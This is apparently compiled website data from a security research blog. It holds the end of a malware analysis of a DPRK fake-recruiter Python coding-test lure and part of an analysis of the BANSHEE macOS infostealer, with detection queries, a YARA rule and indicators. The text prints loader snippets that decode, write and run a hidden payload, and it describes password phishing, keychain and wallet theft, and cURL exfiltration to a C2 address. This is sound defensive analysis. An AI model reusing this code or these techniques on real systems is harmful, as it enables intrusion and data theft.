\",(0,t.jsx)(e.code,{children:\"\\\\rebase.tmp\"}),\" after decoding) to the temporary directory path \",(0,t.jsx)(e.code,{children:\"l_p\"}),\". It then constructs a command \",(0,t.jsx)(e.code,{children:\"header_ops\"}),\", which likely combines the decoded \",(0,t.jsx)(e.code,{children:\"push_opr\"}),\" variable (also using ROT13) with the path.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the system is not Windows, it appends a Unix-like file path \",(0,t.jsx)(e.code,{children:\"/eronfr.gzc\"}),\" (\",(0,t.jsx)(e.code,{children:\"/rebase.tmp\"}),\" after decoding) and similarly constructs a command using \",(0,t.jsx)(e.code,{children:\"push_ops\"}),\". This part of the code is designed to run different payloads or commands depending on the operating system.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The next several statements, starting with \",(0,t.jsx)(e.code,{children:\"request_\"}),\", serve to write the Base64-encoded Python script we have already analyzed to\",(0,t.jsx)(e.code,{children:\" disk in the temporary directory. This code opens a new file in the temporary directory (\"}),\"l_p\",(0,t.jsx)(e.code,{children:\"), which was previously set depending on the system type. The variable \"}),\"req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`request_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The function's final \",(0,t.jsx)(e.code,{children:\"try\"}),\" block facilitates the execution of the encoded Python script.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the system type is Windows, the code attempts to execute the file (constructed in \",(0,t.jsx)(e.code,{children:\"header_ops\"}),\") using the \",(0,t.jsx)(e.code,{children:\"subprocess.Popen function\"}),\". The \",(0,t.jsx)(e.code,{children:\"DETACHED_PROCESS\"}),\" flag ensures that the process runs independently of the parent process, making it harder to track.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the system is not Windows, it runs the file using a different execution method (\",(0,t.jsx)(e.code,{children:\"subprocess.Popen\"}),\" with \",(0,t.jsx)(e.code,{children:\"shell=True\"}),\"), which is more common for Unix-like systems (Linux/macOS). The \",(0,t.jsx)(e.code,{children:\"preexec_fn=os.setpgrp\"}),\" makes the process immune to terminal interrupts, allowing it to run in the background.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`try:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"cert_acc\"}),\" function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script within the \",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system\\u2019s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine.\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"campaign-intersections\",children:\"Campaign intersections\"}),`\n`,(0,t.jsx)(e.p,{children:\"When we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we\\u2019ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as \\u201C\",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists\",rel:\"nofollow\",children:\"CovertCatch\"}),\".\\u201D\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as \\u201C\",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn\",rel:\"nofollow\",children:\"KandyKorn\"}),\"\\u201D that targeted CryptoCurrency developers and engineers.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-hunting-and-mitigation-strategies\",children:\"Detection, Hunting and Mitigation Strategies\"}),`\n`,(0,t.jsx)(e.p,{children:\"Detecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from \\u201Crecruiters\\u201D, \\u201Cdeveloper forums\\u201D, \\u201CGithub\\u201D, etc., will provide a strong foundation of defense against these attacks.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Regarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"detection-python-subprocess-shell-tempfile-execution-and-remote-network-connection\",children:\"[Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by process.parent.entity_id with maxspan=3s\n[process where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"sh\", \"zsh\", \"bash\") and process.args == \"-c\" and process.args : \"python*\"]\n[network where event.type == \"start\"]\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image3.png\",alt:\"Sequence based Behavior Rule detection\",title:\"Sequence based Behavior Rule detection\",width:\"1999\",height:\"418\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This rule looks for the specific behavior exhibited when the \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" sample writes the obfuscated Python script to disk and utilizes the \",(0,t.jsx)(e.code,{children:\"subprocess.Popen\"}),\" method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"hunt-python-executable-file-creation-in-temporary-directory\",children:\"[Hunt] Python Executable File Creation in Temporary Directory\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`file where event.type == \"modification\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\")\n and (process.name : \"python*\" or Effective_process.name : \"python*\") and file.path : (\"/private/tmp/*\", \"/tmp/*\")\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"If the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"hunt-interactive-shell-execution-via-python\",children:\"[Hunt] Interactive Shell Execution via Python\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where host.os.type == \"macos\" and event.type == \"start\" and event.action == \"exec\" \nand process.parent.name : \"python*\" and process.name : (\"sh\", \"zsh\", \"bash\")\n and process.args == \"-i\" and process.args_count == 2\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"hunt-suspicious-python-child-process-execution\",children:\"[Hunt] Suspicious Python Child Process Execution\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"screencapture\", \"security\", \"csrutil\", \"dscl\", \"mdfind\", \"nscurl\", \"sqlite3\", \"tclsh\", \"xattr\")\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion-and-future-trends\",children:\"Conclusion and Future Trends\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Their use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"resources\",children:\"Resources\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages\",rel:\"nofollow\",children:\"Fake recruiter coding tests target devs with malicious Python packages\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/\",rel:\"nofollow\",children:\"Threat Assessment: North Korean Threat Groups\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists\",rel:\"nofollow\",children:\"DeFied Expectations \\u2014 Examining Web3 Heists | Google Cloud Blog\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn\",rel:\"nofollow\",children:\"Elastic catches DPRK passing out KANDYKORN \\u2014 Elastic Security Labs\"})}),`\n`]})]})}function _(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var x=_;return w(P);})();\n;return Component;"},"_id":"articles/dprk-code-of-conduct.mdx","_raw":{"sourceFilePath":"articles/dprk-code-of-conduct.mdx","sourceFileName":"dprk-code-of-conduct.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dprk-code-of-conduct"},"type":"Article","imageUrl":"/assets/images/dprk-code-of-conduct/dprk-code-of-conduct.jpg","readingTime":"19 min read","series":"","url":"/dprk-code-of-conduct","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"RookeryCapital_PythonTest.zip ","href":"#rookerycapital_pythontestzip-"},{"level":3,"title":"PasswordManager.py","href":"#passwordmanagerpy"},{"level":4,"title":"Pyperclip module","href":"#pyperclip-module"},{"level":5,"title":"__init__.py","href":"#__init__py"},{"level":5,"title":"Obfuscated Python Script","href":"#obfuscated-python-script"},{"level":5,"title":"__inity__.py","href":"#__inity__py"},{"level":4,"title":"Campaign intersections","href":"#campaign-intersections"},{"level":2,"title":"Detection, Hunting and Mitigation Strategies ","href":"#detection-hunting-and-mitigation-strategies-"},{"level":3,"title":"[Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection","href":"#detection-python-subprocess-shell-tempfile-execution-and-remote-network-connection"},{"level":3,"title":"[Hunt] Python Executable File Creation in Temporary Directory","href":"#hunt-python-executable-file-creation-in-temporary-directory"},{"level":3,"title":"[Hunt] Interactive Shell Execution via Python","href":"#hunt-interactive-shell-execution-via-python"},{"level":3,"title":"[Hunt] Suspicious Python Child Process Execution","href":"#hunt-suspicious-python-child-process-execution"},{"level":2,"title":"Conclusion and Future Trends","href":"#conclusion-and-future-trends"},{"level":3,"title":"Resources","href":"#resources"}],"author":[{"title":"Colson Wilhoit","slug":"colson-wilhoit","description":"Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),j=(t,n)=\u003e{for(var e in n)i(t,e,{get:n[e],enumerable:!0})},a=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!d.call(t,r)\u0026\u0026r!==e\u0026\u0026i(t,r,{get:()=\u003en[r],enumerable:!(s=x(n,r))||s.enumerable});return t};var p=(t,n,e)=\u003e(e=t!=null?m(_(t)):{},a(n||!t||!t.__esModule?i(e,\"default\",{value:t,enumerable:!0}):e,t)),h=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var l=g((X,c)=\u003e{c.exports=_jsx_runtime});var D={};j(D,{default:()=\u003ew,frontmatter:()=\u003eC});var o=p(l()),C={title:\"Colson Wilhoit\",description:\"Elastic\",slug:\"colson-wilhoit\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function M(t={}){let{wrapper:n}=t.components||{};return n?(0,o.jsx)(n,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var w=M;return h(D);})();\n;return Component;"},"_id":"authors/colson-wilhoit.mdx","_raw":{"sourceFilePath":"authors/colson-wilhoit.mdx","sourceFileName":"colson-wilhoit.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/colson-wilhoit"},"type":"Author","imageUrl":"","url":"/authors/colson-wilhoit"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"},{"title":"Attack pattern","slug":"attack-pattern","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,c)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of p(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(c=f(n,a))||c.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},s(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var i=j((b,u)=\u003e{u.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(i()),k={title:\"Attack pattern\",slug:\"attack-pattern\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/attack-pattern.mdx","_raw":{"sourceFilePath":"categories/attack-pattern.mdx","sourceFileName":"attack-pattern.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/attack-pattern"},"type":"Category","url":"/categories/attack-pattern"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Beyond the wail: deconstructing the BANSHEE infostealer","slug":"beyond-the-wail","date":"2024-08-15","description":"The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency wallets.","image":"beyond-the-wail.jpg","tags":["macos","infostealer","BANSHEE"],"body":{"raw":"\n## Preamble\n\nIn August 2024, a novel macOS malware named \"BANSHEE Stealer\" emerged, catching the attention of the cybersecurity community. Reportedly developed by Russian threat actors, BANSHEE Stealer was introduced on an underground forum and is designed to function across both macOS x86_64 and ARM64 architectures. \n\nThis malware presents a severe risk to macOS users, targeting vital system information, browser data, and cryptocurrency wallets.\n\nWith a steep monthly subscription price of $3,000, BANSHEE Stealer stands out in the market, particularly compared to known stealers like AgentTesla. \n\nAs macOS increasingly becomes a prime target for cybercriminals, BANSHEE Stealer underscores the rising observance of macOS-specific malware. This analysis explores the technical details of BANSHEE Stealer, aiming to help the community understand its impact and stay informed about emerging threats.\n\n\n![Source: https://x.com/privacyis1st/status/1822948909670408573](/assets/images/beyond-the-wail/image2.png \"Source: https://x.com/privacyis1st/status/1822948909670408573\")\n\n## Key takeaways\n\n* BANSHEE Stealer highlights the growing number of macOS malware samples as the OS becomes a more attractive target for cyber threats.\n* BANSHEE Stealer's $3,000 monthly price is notably high compared to Windows-based stealers.\n* BANSHEE Stealer targets a wide range of browsers, cryptocurrency wallets, and around 100 browser extensions, making it a highly versatile and dangerous threat.\n\n## Malware Analysis\n\nThe malware we analyzed in this research contained all the C++ symbols, which is interesting as we can guess the project's code structure by knowing these source code file names, as seen in the picture below. Looking into the C++-generated global variable initialization functions, we can find values set automatically/manually by the user during the build process, like the remote IP, encryption key, build ID, etc.\n\n![Functions list that initialize the global variables of every source file](/assets/images/beyond-the-wail/image5.png \"Functions list that initialize the global variables of every source file\")\n\nThe following table summarizes the leaked `.cpp` file names through the symbols in the binary.\n\n| File name | Description |\n|----------------|----------------------------------------------------------------------------------------------------------------------|\n| `Controller.cpp` | Manages core execution tasks, including anti-debugging measures, language checks, data collection, and exfiltration. |\n| `Browsers.cpp` | Handles the collection of data from various web browsers. |\n| `System.cpp` | Executes AppleScripts to gather system information and perform password phishing. |\n| `Tools.cpp` | Provides utility functions for encryption, directory creation, and compression etc. |\n| `Wallets.cpp` | Responsible for collecting data from cryptocurrency wallets. |\n\n### Debugger, VM Detection, and Language Checks\n\n![Checking for debugging, Virtualization, and the language of the machine](/assets/images/beyond-the-wail/image8.png \"Checking for debugging, Virtualization, and the language of the machine\")\n\nBANSHEE Stealer uses basic techniques to evade detection. It detects debugging by utilizing the [sysctl](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html) API.\n\n![Debugging detection with sysctl macOS API](/assets/images/beyond-the-wail/image1.png \"Debugging detection with sysctl macOS API\")\n\nFor virtualization detection, it runs the command `system_profiler SPHardwareDataType | grep 'Model Identifier'` to determine whether the string `Virtual` appears in the hardware model identifier, which suggests a virtual machine. These methods are relatively simple and can be easily circumvented by advanced sandboxes and malware analysts.\n\n![Virtual machine check](/assets/images/beyond-the-wail/image7.png \"Virtual machine check\")\n\nAdditionally, It parses the user-preferred canonicalized language returned from the [CFLocaleCopyPreferredLanguages ](https://developer.apple.com/documentation/corefoundation/1542887-cflocalecopypreferredlanguages) API and looks for the string `ru`. This tactic helps the malware avoid infecting systems where Russian is the primary language.\n\n### System information collection\n\n#### User password\n\nThe malware creates an [Osascript](https://ss64.com/mac/osascript.html) password prompt with a dialog saying that to launch the application, you need to update the system settings. Please enter your password.\n\nWhen the user enters the password, it will be validated using the [dscl](https://ss64.com/mac/dscl.html) command by running `dscl Local/Default -authonly \u003cusername\u003e \u003cpassword\u003e`\n\nIf valid, the password will be written to the following file `/Users/\u003cusername\u003e/password-entered`.\n\n![User password phishing through a prompt](/assets/images/beyond-the-wail/image3.png \"User password phishing through a prompt\")\n\nThese credentials can be leveraged to decrypt the keychain data stored on the system, granting access to all saved passwords.\n\n#### File, software, and hardware information collection\n\nThe function `System::collectSystemInfo` collects system information and serializes it in a JSON object. It executes the command `system_profiler SPSoftware DataType SPHardwareDataType`, which provides details about the system’s software and hardware. It gets the machine's public IP by requesting it from `freeipapi.com` through the built-in macOS `cURL` command.\n\nThe JSON file will be saved under `\u003ctemporary_path\u003e/system_info.json`\n\nBANSHEE stealer executes AppleScripts; interestingly, it writes the AppleScripts to the same file `/tmp/tempAppleScript`.\n\nThe first script to be executed first mutes the system sound with `osascript -e 'set volume with output muted'` command. It then collects various files from the system, which are listed below:\n\n* Safari cookies\n* Notes database\n* Files with the following extensions `.txt`, `.docx`, `.rtf`, `.doc`, `.wallet`, `.keys`, or `.key` from the Desktop and Documents folders.\n\n#### Dump keychain passwords\n\nIt copies the keychain of the system `/Library/Keychains/login.keychain-db` to `\u003ctemporary_path\u003e/Passwords`\n\n### Browser collection\n\nBANSHEE collects data from 9 different browsers currently, including browser history, cookies, logins, etc:\n\n* Chrome\n* Firefox\n* Brave\n* Edge\n* Vivaldi\n* Yandex\n* Opera\n* OperaGX\n\nRegarding Safari, only the cookies are collected by the AppleScript script for the current version.\n\n![Web browser file collection](/assets/images/beyond-the-wail/image4.png \"Web browser file collection\")\n\nAdditionally, data from approximately 100 browser plugins are collected from the machine. A list of these extension IDs is provided at the end of the blog post.\n\nThe collected files are saved under `\u003ctemporary_path\u003e/Browsers`.\n\n### Wallet collection\n\n* Exodus\n* Electrum\n* Coinomi\n* Guarda\n* Wasabi Wallet\n* Atomic\n* Ledger\n\nThe collected wallets are stored under `\u003ctemporary_path\u003e/Wallets`.\n\n### Exfiltration\n\nAfter the malware finishes collecting data, it first ZIP compresses the temporary folder using the `ditto` command. The zip file is then XOR encrypted and base64 encoded and sent through a post request to the URL: `http://45.142.122[.]92/send/` with the built-in cURL command.\n\n![Xor and base64 encoding of the zip file to be exfiltrated](/assets/images/beyond-the-wail/image6.png \"Xor and base64 encoding of the zip file to be exfiltrated\")\n\n## Behavior detection\n\n* [Crypto Wallet File Access by Unsigned or Untrusted Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_crypto_wallet_file_access_by_unsigned_or_untrusted_binary.toml)\n* [Web Browser Credential Data Accessed by Unsigned or Untrusted Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_web_browser_credential_data_accessed_by_unsigned_or_untrusted_process.toml)\n* [Osascript Payload Drop and Execute](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/command_and_control_osascript_payload_drop_and_execute.toml)\n* [Potential Credentials Phishing via Osascript](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_potential_credentials_phishing_via_osascript.toml)\n\n## YARA rule\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BANSHEE malware:\n\n```\nrule Macos_Infostealer_Banshee {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-08-13\"\n last_modified = \"2024-08-13\"\n os = \"MacOS\"\n arch = \"x86, arm64\"\n category_type = \"Infostealer\"\n family = \"Banshee\"\n threat_name = \"Macos.Infostealer.Banshee\"\n license = \"Elastic License v2\"\n\n strings:\n $str_0 = \"No debugging, VM, or Russian language detected.\" ascii fullword\n $str_1 = \"Remote IP: \" ascii fullword\n $str_2 = \"Russian language detected!\" ascii fullword\n $str_3 = \" is empty or does not exist, skipping.\" ascii fullword\n $str_4 = \"Data posted successfully\" ascii fullword\n $binary_0 = { 8B 55 BC 0F BE 08 31 D1 88 08 48 8B 45 D8 48 83 C0 01 48 89 45 D8 E9 }\n $binary_1 = { 48 83 EC 60 48 89 7D C8 48 89 F8 48 89 45 D0 48 89 7D F8 48 89 75 F0 48 89 55 E8 C6 45 E7 00 }\n condition:\n all of ($str_*) or all of ($binary_*)\n}\n```\n\n## Conclusion\n\nBANSHEE Stealer is macOS-based malware that can collect extensive data from the system, browsers, cryptocurrency wallets, and numerous browser extensions. Despite its potentially dangerous capabilities, the malware's lack of sophisticated obfuscation and the presence of debug information make it easier for analysts to dissect and understand. While BANSHEE Stealer is not overly complex in its design, its focus on macOS systems and the breadth of data it collects make it a significant threat that demands attention from the cybersecurity community.\n\n## Observables\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/banshee) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|-----------|-----------------|--------------------|\n| 11aa6eeca2547fcf807129787bec0d576de1a29b56945c5a8fb16ed8bf68f782 | SHA-256 | BANSHEE stealer | |\n| 45.142.122[.]92 | ipv4-addr | | BANSHEE stealer C2 |","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),y=(i,e)=\u003e{for(var n in e)a(i,n,{get:e[n],enumerable:!0})},s=(i,e,n,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!g.call(i,r)\u0026\u0026r!==n\u0026\u0026a(i,r,{get:()=\u003ee[r],enumerable:!(l=m(e,r))||l.enumerable});return i};var b=(i,e,n)=\u003e(n=i!=null?h(u(i)):{},s(e||!i||!i.__esModule?a(n,\"default\",{value:i,enumerable:!0}):n,i)),w=i=\u003es(a({},\"__esModule\",{value:!0}),i);var o=f((x,c)=\u003e{c.exports=_jsx_runtime});var E={};y(E,{default:()=\u003ev,frontmatter:()=\u003eS});var t=b(o()),S={title:\"Beyond the wail: deconstructing the BANSHEE infostealer\",slug:\"beyond-the-wail\",date:\"2024-08-15\",description:\"The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency 